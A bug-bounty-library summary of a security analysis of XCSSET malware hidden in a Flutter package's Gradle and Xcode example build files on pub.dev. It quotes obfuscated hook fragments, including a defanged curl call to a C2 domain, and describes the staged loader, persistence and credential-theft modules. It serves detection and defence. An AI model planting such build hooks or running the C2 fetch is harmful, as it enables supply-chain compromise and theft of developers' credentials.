# Compromised Flutter package on pub.dev contains XCSSET malware

XCSSET macOS worm infected a Flutter package's example build files on pub.dev, executing C2 payloads on Gradle/Xcode builds to steal credentials and propagate.

- Payout: Real-world hack
- Severity: critical
- Program: pub.dev
- Analysis by: Aikido Security
- Disclosed: 2026-09-08
- Write-up quality: 8/10
- Original: https://www.aikido.dev/blog/compromised-flutter-package-on-pub-dev-contains-xcsset-malware
- Library page: https://bugbountylibrary.com/r/blog%3Aaikido-dev-blog-compromised-flutter-package-on-pub-dev-contains-xcsset-malware
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:payment technique:source-review vuln:command-injection vuln:dependency-confusion vuln:secrets-leak

**Target:** Flutter/Dart package build files (Gradle, Xcode pbxproj, git hooks)
**Root cause:** Maintainer's macOS machine was infected with XCSSET; the worm's android_finder, replicator_finder and git_finder modules injected malicious build hooks into the package's example/ directory, which shipped in the pub.dev tarball.
**Steps:**
1. Clone universal_file_viewer repo and build example/ app
2. Gradle preBuild hook runs `printf xAxd | tr -d A` to reconstruct xxd, decodes hex blob to `curl 5yotmxcc54l9xda[.]ru/a?p=android_kotlin`
3. Xcode PBXBuildRule on .md files runs `sh -c "${A3EA261}"` where A3EA261 is base64/hex-obfuscated C2 URL
4. Stage 1 C2 returns script re-requesting with OS/username
5. Stage 2 returns ciphered shell script collecting serial/locale, downloads loader to /tmp/h, builds invisible app bundle, deletes within 10s
6. Stage 3 run-only AppleScript decrypts AES-256-CBC day-keyed payload in memory
7. Stage 4 orchestrator dispatches propagation, persistence and theft modules
**How found:** Researcher scanned pub.dev package tarballs and found obfuscated shell invocations in example/ build files; traced to XCSSET modules by matching printf|tr obfuscation patterns and C2 domains.
**Exploitation:** Build hook fires silently on Gradle/Xcode build, contacts C2, downloads staged loader executed in memory via osascript. Worm modules inject hooks into all local Gradle/Xcode/git projects; persist module swaps Dock Launchpad tile with fake bundle for reboot persistence; theft modules (browser_remote, safari_remote, firefox_data, tdesktop, notes_app, clipboard, settings_app, data_folders_finder) exfiltrate credentials, cookies, session tokens and files AES-encrypted to /u.
**Escalation:** Worm propagates to every Android/Xcode/git project on the machine and to any developer who clones and builds infected repos; settings_app uses sudo for privilege escalation.
**Insight:** Package registries ship example/ and test/ directories that are never compiled as dependencies but are built by anyone cloning the repo — scan those build files (build.gradle.kts, project.pbxproj, .git/hooks) for obfuscated shell like `printf xAxd | tr -d A` reconstructing xxd/base64, not just lib/ source.